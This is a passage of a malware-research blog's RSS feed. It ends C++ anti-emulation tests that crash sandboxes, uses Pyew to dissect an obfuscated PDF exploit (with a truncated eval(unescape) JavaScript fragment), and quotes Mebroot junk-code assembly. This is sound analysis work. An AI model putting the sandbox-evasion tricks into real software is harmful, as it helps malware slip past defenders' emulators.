<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; __asm <span class="kw4">int</span> <span class="nu0">4</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; catch<span class="br0">&#40;</span>...<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> EMULATOR_NOT_DETECTED;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> EMULATOR_DETECTED;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/** Norman Sandbox stoped execution at this point <img src='http://joxeankoret.com/blog/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  */</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">int</span> test4<span class="br0">&#40;</span><span class="kw4">void</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; try</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; __asm ud2</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; catch<span class="br0">&#40;</span>...<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> EMULATOR_NOT_DETECTED;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> EMULATOR_DETECTED;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/** Norman Sandbox stoped execution at this point <img src='http://joxeankoret.com/blog/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  */</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">int</span> test5<span class="br0">&#40;</span><span class="kw4">void</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; try</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// icebp</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;__asm &nbsp;_emit 0xf1</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; catch<span class="br0">&#40;</span>...<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> EMULATOR_NOT_DETECTED;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> EMULATOR_DETECTED;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>These tests were launched against Wine, IDA+Bochs and Norman. While they don't work in Bochs they makes failing both Norman Sandbox and Wine; both thinks the process has crashed and stops execution.</p>
<p><strong>Conclussion</strong></p>
<p>There are a lot of antiemulation techniques and these are just simple examples; writting much more elaborated ones is a matter of time and it's simply impossible to circunvent all the antiemulation techniques. The old cat &amp; mouse game <img src='http://joxeankoret.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2010/02/23/antiemulation-techniques-malware-tricks-ii/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Analyzing PDF exploits with Pyew</title>
		<link>http://joxeankoret.com/blog/2010/02/21/analyzing-pdf-exploits-with-pyew/</link>
		<comments>http://joxeankoret.com/blog/2010/02/21/analyzing-pdf-exploits-with-pyew/#comments</comments>
		<pubDate>Sun, 21 Feb 2010 14:46:23 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[pyew]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[obfuscated]]></category>
		<category><![CDATA[pdf]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=95</guid>
		<description><![CDATA[Something I really hate to do when analyzing PDF malware exploits is to manually extract the streams and manually decode them to see the, typically, hidden JavaScript code, so I decided to extend the PDF plugin for Pyew to automatically see them. Now, with the new version of the plugin (download it from the Mercurial [...]]]></description>
			<content:encoded><![CDATA[<p>Something I really hate to do when analyzing PDF malware  exploits is to manually extract the streams and manually decode them to see the, typically, hidden JavaScript code, so I decided to extend the PDF plugin for <a title="Pyew" href="http://code.google.com/p/pyew" target="_blank">Pyew</a> to automatically see them. Now, with the new version of the plugin (download it from the <a href="http://code.google.com/p/pyew/source/checkout" target="_blank">Mercurial repository</a>) we can see what filters are used in the exploit and, the most important thing, we can see the decoded streams, independently of how many filters are being used.<br />
<span id="more-95"></span><br />
<strong>Example</strong></p>
<p>For example, I will take one obfuscated PDF exploit (SHA256 6a8204ee7b703f96f811f32f903ac9df4045b05910d633fc34fed89e2e0a7576). I will open it in Pyew to see what is inside so, simply, run the command "pyew pdf.file":</p>
<blockquote><p>$ pyew sample.pdf<br />
PDF File</p>
<p>PDFiD 0.0.9_PL 6a8204ee7b703f96f811f32f903ac9df4045b05910d633fc34fed89e2e0a7576<br />
PDF Header: %PDF-1.1<br />
obj                    4<br />
endobj                 4<br />
stream                 1<br />
endstream              1<br />
xref                   1<br />
trailer                1<br />
startxref              1<br />
/Page                  1<br />
/Encrypt               0<br />
/ObjStm                0<br />
/JS                    1<br />
/JavaScript            1<br />
/AA                    0<br />
/OpenAction            1<br />
/AcroForm              0<br />
/JBIG2Decode           0<br />
/RichMedia             0<br />
/Colors &gt; 2^24         0<br />
%%EOF                  1<br />
After last %%EOF       0<br />
Total entropy:           4.293999 (      5547 bytes)<br />
Entropy inside streams:  3.669587 (      4773 bytes)<br />
Entropy outside streams: 5.132696 (       774 bytes)</p>
<p>(...)</p>
<p>[0x00000000]&gt; p<br />
%PDF-1.1<br />
%&amp;#1074;&amp;#1075;&amp;#1055;&amp;#1059;<br />
1 0 obj<br />
&lt;&lt;<br />
/Type /Catalog<br />
/OpenAction &lt;&lt;<br />
/JS 4 0 R<br />
/S /JavaScript<br />
&gt;&gt;<br />
/Pages 2 0 R<br />
&gt;&gt;<br />
endobj<br />
2 0 obj<br />
&lt;&lt;<br />
/Type /Pages<br />
/Kids [ 3 0 R ]<br />
/Count 1<br />
&gt;&gt;<br />
endobj<br />
3 0 obj<br />
&lt;&lt;<br />
/Type /Page<br />
/Parent 2 0 R<br />
/Resources &lt;&lt;<br />
/Font &lt;&lt;<br />
/F1 &lt;&lt;<br />
/Type /Font<br />
/Name /F1<br />
/Subtype /Type1<br />
/BaseFont /Helvetica<br />
&gt;&gt;<br />
&gt;&gt;<br />
&gt;&gt;<br />
/MediaBox [ 0 0 795 842 ]<br />
&gt;&gt;<br />
endobj<br />
4 0 obj<br />
&lt;&lt;<br />
/Length 4769<br />
/Filter [/ASCIIHexDecode /ASCII85Decode /#4c</p></blockquote>
<p>What we see in Pyew? The output of <a href="http://blog.didierstevens.com/programs/pdf-tools/" target="_blank">PDFId</a> (a great tool by Didier Stevens) as well as the hexadecimal output of the first block (512 bytes). Taking a brief look to the 1st block of data we see one "OpenAction" to execute JavaScript. Surprise. The code "/JS 4 0 R" specifies that the JavaScript code to be executed is the object number 4. Seeking to the offset where the object #4 is and printing the buffer (in ASCII) we will find the following:</p>
<blockquote>
<pre>[0x000001b7]&gt; s 0x1b7
[0x000001b7]&gt; p
4 0 obj
&lt;&lt;
        /Length 4769
        /Filter [/ASCIIHexDecode /ASCII85Decode /#4c#5a#57De#63#6fde /R#75nLen#67t#68#44ecod#65 /FlateDecode ]
&gt;&gt;stream
4A2E3539605651222D714E634326304C5A47725A236A63494B26682C323A4E532...</pre>
</blockquote>
<p>The object is multiple times encoded and, which is more, the strings to specify what filters must be used in order to decode the stream are encoded too. It's perfectly legal according to the PDF specifications, although pretty suspicious. Pyew does a good job decoding both the encoded strings and the multiple times encoded stream. To see the streams just type "pdfvi" to see the encoded streams in the console:</p>
<blockquote>
<pre>eval(unescape("%76%61%72%20%56%68%4C%66%4E%20%3D..."))</pre>
</blockquote>
<p>Wow! it's a <em>small</em> chunk of JavaScript data <img src='http://joxeankoret.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Pyew <em>automagically</em> applied all the filters needed (ASCIIHexDecode, ASCII85Decode, LZWDecode, RunLengthDecode and FlateDecode) and printed out the obfuscated code. We can see it, too, in a graphical user interface. Instead of typing "pdfvi" execute the command "pdfview". You will see the following screen:</p>
<div id="attachment_96" class="wp-caption aligncenter" style="width: 310px"><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/02/pdf1.png"><img class="size-medium wp-image-96" title="Obfuscated Stream View" src="http://joxeankoret.com/blog/wp-content/uploads/2010/02/pdf1-300x156.png" alt="Obfuscated Stream View" width="300" height="156" /></a><p class="wp-caption-text">Obfuscated Stream View</p></div>
<p><strong>More Examples</strong></p>
<p>OK, so we can see now the encoded stream but, what if there are a lot of encoded streams and we must check them all or if we want to see just one of them? For this purpose, and also to show the Pyew's APIs, I created an example usage of the PDF API. The example reads all the streams and shows a list of all the encoded streams as you may see in the following snapshot:</p>
<div id="attachment_97" class="wp-caption aligncenter" style="width: 310px"><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/02/pdf2.png"><img class="size-medium wp-image-97" title="Usage example of the PDF API" src="http://joxeankoret.com/blog/wp-content/uploads/2010/02/pdf2-300x156.png" alt="Usage example of the PDF API" width="300" height="156" /></a><p class="wp-caption-text">Usage example of the PDF API</p></div>
<p>Using this simple screen we can see all the streams or just one specific (encoded) stream. This is the code of this example usage of the Pyew's API for the PDF format:</p>
<div class="geshi no python">
<div class="head">#!/usr/bin/env python</div>
<ol>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">os</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">sys</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">from</span> pyew_core <span class="kw1">import</span> CPyew</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">from</span> easygui <span class="kw1">import</span> choicebox, fileopenbox, msgbox</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">def</span> main<span class="br0">&#40;</span>filename=<span class="kw2">None</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> filename <span class="kw1">is</span> <span class="kw2">None</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; filename = fileopenbox<span class="br0">&#40;</span>msg=<span class="st0">&quot;Select PDF file&quot;</span>, default=<span class="st0">&quot;*.pdf&quot;</span>, filetypes=<span class="br0">&#91;</span><span class="st0">&quot;*.pdf&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> filename <span class="kw1">is</span> <span class="kw2">None</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; pyew = CPyew<span class="br0">&#40;</span>batch=<span class="kw2">True</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; pyew.<span class="me1">loadFile</span><span class="br0">&#40;</span>filename<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; streams = pyew.<span class="me1">plugins</span><span class="br0">&#91;</span><span class="st0">&quot;pdfilter&quot;</span><span class="br0">&#93;</span><span class="br0">&#40;</span>pyew, doprint=<span class="kw2">True</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="kw2">len</span><span class="br0">&#40;</span>streams<span class="br0">&#41;</span> == <span class="nu0">0</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; msgbox<span class="br0">&#40;</span>title=<span class="st0">&quot;PDF Streams&quot;</span>,msg=<span class="st0">&quot;No encoded streams found&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; l = <span class="br0">&#91;</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; l.<span class="me1">append</span><span class="br0">&#40;</span><span class="st0">&quot;About PDF Streams Viewer&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; l.<span class="me1">append</span><span class="br0">&#40;</span><span class="st0">&quot;See all streams (both encoded and unencoded)&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">for</span> x <span class="kw1">in</span> streams:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; l.<span class="me1">append</span><span class="br0">&#40;</span><span class="st0">&quot;Stream %d encoded with %s&quot;</span> <span class="sy0">%</span> <span class="br0">&#40;</span>x, streams<span class="br0">&#91;</span>x<span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; l.<span class="me1">append</span><span class="br0">&#40;</span><span class="st0">&quot;Quit&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">while</span> <span class="nu0">1</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; c = choicebox<span class="br0">&#40;</span>msg=<span class="st0">&quot;Select one stream to view it decoded&quot;</span>, title=<span class="st0">&quot;Stream Viewer&quot;</span>, choices=l<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> c <span class="kw1">is</span> <span class="kw2">None</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">elif</span> c.<span class="me1">lower</span><span class="br0">&#40;</span><span class="br0">&#41;</span> == <span class="st0">&quot;quit&quot;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">elif</span> c.<span class="me1">lower</span><span class="br0">&#40;</span><span class="br0">&#41;</span>.<span class="me1">startswith</span><span class="br0">&#40;</span><span class="st0">&quot;about&quot;</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; msgbox<span class="br0">&#40;</span>title=<span class="st0">&quot;About PDF Streams Viewer&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;msg=<span class="st0">&quot;Example usage of the Pyew APIs to see PDF streams. Written by Joxean Koret&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">elif</span> c.<span class="me1">lower</span><span class="br0">&#40;</span><span class="br0">&#41;</span>.<span class="me1">startswith</span><span class="br0">&#40;</span><span class="st0">&quot;see all&quot;</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pyew.<span class="me1">plugins</span><span class="br0">&#91;</span><span class="st0">&quot;pdfview&quot;</span><span class="br0">&#93;</span><span class="br0">&#40;</span>pyew, doprint=<span class="kw2">False</span>, stream_id=<span class="nu0">-1</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; stream_id = <span class="kw2">int</span><span class="br0">&#40;</span>c.<span class="me1">split</span><span class="br0">&#40;</span><span class="st0">&quot; &quot;</span><span class="br0">&#41;</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pyew.<span class="me1">plugins</span><span class="br0">&#91;</span><span class="st0">&quot;pdfview&quot;</span><span class="br0">&#93;</span><span class="br0">&#40;</span>pyew, stream_id=stream_id<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> __name__ == <span class="st0">&quot;__main__&quot;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="kw2">len</span><span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#41;</span> == <span class="nu0">1</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; main<span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">else</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; main<span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>And, that's all for the moment. I hope you like the new Pyew's features <img src='http://joxeankoret.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2010/02/21/analyzing-pdf-exploits-with-pyew/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Pyew! A Python tool to analyze malware</title>
		<link>http://joxeankoret.com/blog/2010/02/08/pyew-a-python-tool-to-analyze-malware/</link>
		<comments>http://joxeankoret.com/blog/2010/02/08/pyew-a-python-tool-to-analyze-malware/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 18:37:11 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=80</guid>
		<description><![CDATA[Working in a disassembler with code analysis to speed up (graph) analysis of malware dumps (malware dumped from memory while running) I decided to write a tool using this core oriented to malware analysis and the result is Pyew! Pyew is a tool like radare or biew/hiew. It's an hexadecimal viewer, disassembler for IA32 and [...]]]></description>
			<content:encoded><![CDATA[<p>Working in a disassembler with code analysis to speed up (graph) analysis of malware dumps (malware dumped from memory while running) I decided to write a tool using this core oriented to malware analysis and the result is <a href="http://code.google.com/p/pyew/">Pyew</a>!<br />
<span id="more-80"></span><br />
Pyew is a tool like <a href="http://www.radare.org" target="_blank">radare</a> or <a href="http://biew.sourceforge.net/" target="_blank">biew</a>/<a href="http://www.hiew.ru/" target="_blank">hiew</a>. It's an hexadecimal viewer, disassembler for IA32 and AMD64 with support for PE &amp; ELF formats as well as other non executable formats, like OLE2 or PDF. In the <a href="http://code.google.com/p/pyew/" target="_blank">project's page</a> you may find <a href="http://code.google.com/p/pyew/wiki/UsageExample" target="_blank">usage examples</a> (like the superficial analysis of some <a href="http://code.google.com/p/pyew/wiki/AnalysisMebroot" target="_blank">Mebroot dowloaders</a>) as well as the <a href="http://code.google.com/p/pyew/wiki/Features" target="_blank">features</a> of the version available for download as a package (however, I recommend you to download the bleeding edge version from the <a href="http://mercurial.selenic.com/" target="_blank">Mercurial</a> repository available <a href="http://code.google.com/p/pyew/source/checkout" target="_blank">here</a>).</p>
<p>Anyway, even when Pyew have a command line interface (and a graphical user interface is planned) it was written for batch analysis of malware. Let's imagine the following situation: You need to analyze a bunch of malware samples, i.e. 1000 new samples. What would you do? Analyze all of them manually one per one? It's better to write some sort of batch script to analyze the samples and get a simple report about the malwares. You may find in the <a href="http://code.google.com/p/pyew/w/list" target="_blank">wiki</a> of Pyew a <a href="http://code.google.com/p/pyew/wiki/BatchExample" target="_blank">batch script example</a> to check for some specific marks at the file header, get the API calls made at entry point or to get a list of uncommon mnemonics found in the entry point.</p>
<p>Just to show another example of Pyew in batch mode I will explain how to write a simple script to get mnemonics of instructions used commonly as antidebugs. Let's start writting the script. First import the libraries we need:</p>
<div class="geshi no python">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">from</span> pyew_core <span class="kw1">import</span> CPyew</div>
</li>
</ol>
</div>
<p>We need to import the class CPyew from pyew_core (the kernel of Pyew). Next, write a code to handle the load of one file and, after the load, print the antidebugs found:</p>
<div class="geshi no python">
<div class="head">import sys</div>
<ol>
<li class="li1">
<div class="de1"><span class="kw1">from</span> pyew_core <span class="kw1">import</span> CPyew</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">filename = <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">pyew = CPyew<span class="br0">&#40;</span>batch=<span class="kw2">True</span><span class="br0">&#41;</span> <span class="co1"># Specify that we&#39;re in batch mode</span></div>
</li>
<li class="li1">
<div class="de1">pyew.<span class="me1">codeanalysis</span> = <span class="kw2">True</span> <span class="co1"># Just in case, by default code analysis is always performed</span></div>
</li>
<li class="li1">
<div class="de1">pyew.<span class="me1">loadFile</span><span class="br0">&#40;</span>filename<span class="br0">&#41;</span> <span class="co1"># Load the file and read all the structures, perform code analysis, etc...</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">print</span> pyew.<span class="me1">antidebug</span></div>
</li>
</ol>
</div>
<p>That's all! This simple script will take as input a file and will analyze it for mnemonics used as antidebug (like INT 3 or RDTSC). Now, it's time to write a better script that takes a directory and recursively traverses every subdirectory to analyze all files. The final result is <a href="http://code.google.com/p/pyew/source/browse/batch_example.py">here</a></p>
<p><a href="http://code.google.com/p/pyew/source/browse/batch_example.py"></a></p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2010/02/08/pyew-a-python-tool-to-analyze-malware/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Malware Tricks I</title>
		<link>http://joxeankoret.com/blog/2009/12/02/malware-tricks-i/</link>
		<comments>http://joxeankoret.com/blog/2009/12/02/malware-tricks-i/#comments</comments>
		<pubDate>Wed, 02 Dec 2009 21:57:42 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[pyew]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=76</guid>
		<description><![CDATA[Today, while analyzing a family of malwares (the familiy called by some vendors as "Krap") I noticed a good and new, at least for me, antiemulation technique. What do you think this sample code does? some_func: &#160; ; Do stuff... &#160; start: &#160; &#160;push offset some_func &#160; &#160;jmp edx What is this? We're pushing the [...]]]></description>
			<content:encoded><![CDATA[<p>Today, while analyzing a family of malwares (the familiy called by some vendors as "Krap") I noticed a good and new, at least for me, antiemulation technique. What do you think this sample code does?</p>
<div class="geshi no asm">
<div class="head">some_func:</div>
<ol>
<li class="li1">
<div class="de1">&nbsp; <span class="co1">; Do stuff...</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">start:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">push</span> <span class="kw4">offset</span> some_func</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">jmp</span> <span class="kw3">edx</span></div>
</li>
</ol>
</div>
<p><span id="more-76"></span><br />
What is this? We're pushing the address of the function some_func in the stack and, after this, jumping unconditionally to the address contained at EDX. The question here is: What value has the EDX register before executing your first line of assembly code? You have the address of ntdll!KiFastSystemCallRet:</p>
<p style="text-align: center;">
<a href="http://joxeankoret.com/blog/wp-content/uploads/2009/12/anal_edx.png"><img class="size-medium wp-image-77 aligncenter" title="Value of EDX at the very first program\'s instruction" src="http://joxeankoret.com/blog/wp-content/uploads/2009/12/anal_edx-300x178.png" alt="" width="300" height="178" /></a></p>
<p>So, basically, we're jumping to a return only function (see a detailed description of <a href="http://www.dumpanalysis.org/blog/index.php/2008/01/10/what-is-kifastsystemcallret/">KiFastSystemCallRet</a>) efectively returning into the "some_func" function. The emulators I tested, as in example, the Bochs Debugger module that comes with IDA Pro, initialize all the registers to 0: a cool trick! And the first time I see this.</p>
<p>The tricks I typically find in malware are undocumented (or non typical) API calls mixed with junk code, as the following example extracted from a Mebroot downloader:</p>
<div class="geshi no asm">
<ol>
<li class="li1">
<div class="de1">000013a7 <span class="kw1">PUSH</span> 0x74327ebc</div>
</li>
<li class="li1">
<div class="de1">000013ac <span class="kw1">CALL</span> KERNEL32.dll!WriteFile</div>
</li>
<li class="li1">
<div class="de1">000013b2 <span class="kw1">TEST</span> <span class="kw3">EAX</span>, <span class="kw3">EAX</span></div>
</li>
<li class="li1">
<div class="de1">000013b4 <span class="kw1">JZ</span> 0x000013bb &nbsp; &nbsp; &nbsp;<span class="co1">; 1</span></div>
</li>
<li class="li1">
<div class="de1">000013b6 <span class="kw1">JMP</span> 0x0000108e &nbsp; &nbsp; <span class="co1">; 2</span></div>
</li>
<li class="li1">
<div class="de1">000013bb <span class="kw1">PUSH</span> 0x0</div>
</li>
<li class="li1">
<div class="de1">000013bd <span class="kw1">CALL</span> KERNEL32.dll!DisconnectNamedPipe</div>
</li>
</ol>
</div>
<p>Junk code using APIs relatively commons:</p>
<div class="geshi no asm">
<ol>
<li class="li1">
<div class="de1">00001c1f <span class="kw1">PUSH</span> 0x0</div>
</li>
<li class="li1">
<div class="de1">00001c21 <span class="kw1">PUSH</span> 0x0</div>
</li>
<li class="li1">
<div class="de1">00001c23 <span class="kw1">CALL</span> SHLWAPI.dll!SHDeleteKeyA</div>
</li>
<li class="li1">
<div class="de1">00001c29 <span class="kw1">PUSH</span> 0x100</div>
</li>
<li class="li1">
<div class="de1">00001c2e <span class="kw1">CALL</span> msvcrt.dll!malloc</div>
</li>
<li class="li1">
<div class="de1">00001c34 <span class="kw1">ADD</span> <span class="kw3">ESP</span>, 0x4</div>
</li>
<li class="li1">
<div class="de1">00001c37 <span class="kw1">PUSH</span> <span class="kw3">EAX</span></div>
</li>
<li class="li1">
<div class="de1">00001c38 <span class="kw1">CALL</span> msvcrt.dll!free</div>
</li>
<li class="li1">
<div class="de1">00001c3e <span class="kw1">ADD</span> <span class="kw3">ESP</span>, 0x4</div>
</li>
<li class="li1">
<div class="de1">00001c41 <span class="kw1">PUSH</span> 0x0</div>
</li>
<li class="li1">
<div class="de1">00001c43 <span class="kw1">CALL</span> WINMM.dll!timeKillEvent</div>
</li>
<li class="li1">
<div class="de1">00001c49 <span class="kw1">PUSH</span> 0x10005129</div>
</li>
<li class="li1">
<div class="de1">00001c4e <span class="kw1">LEA</span> <span class="kw3">EAX</span>, <span class="br0">&#91;</span>EBP-0x20<span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">00001c51 <span class="kw1">PUSH</span> <span class="kw3">EAX</span></div>
</li>
<li class="li1">
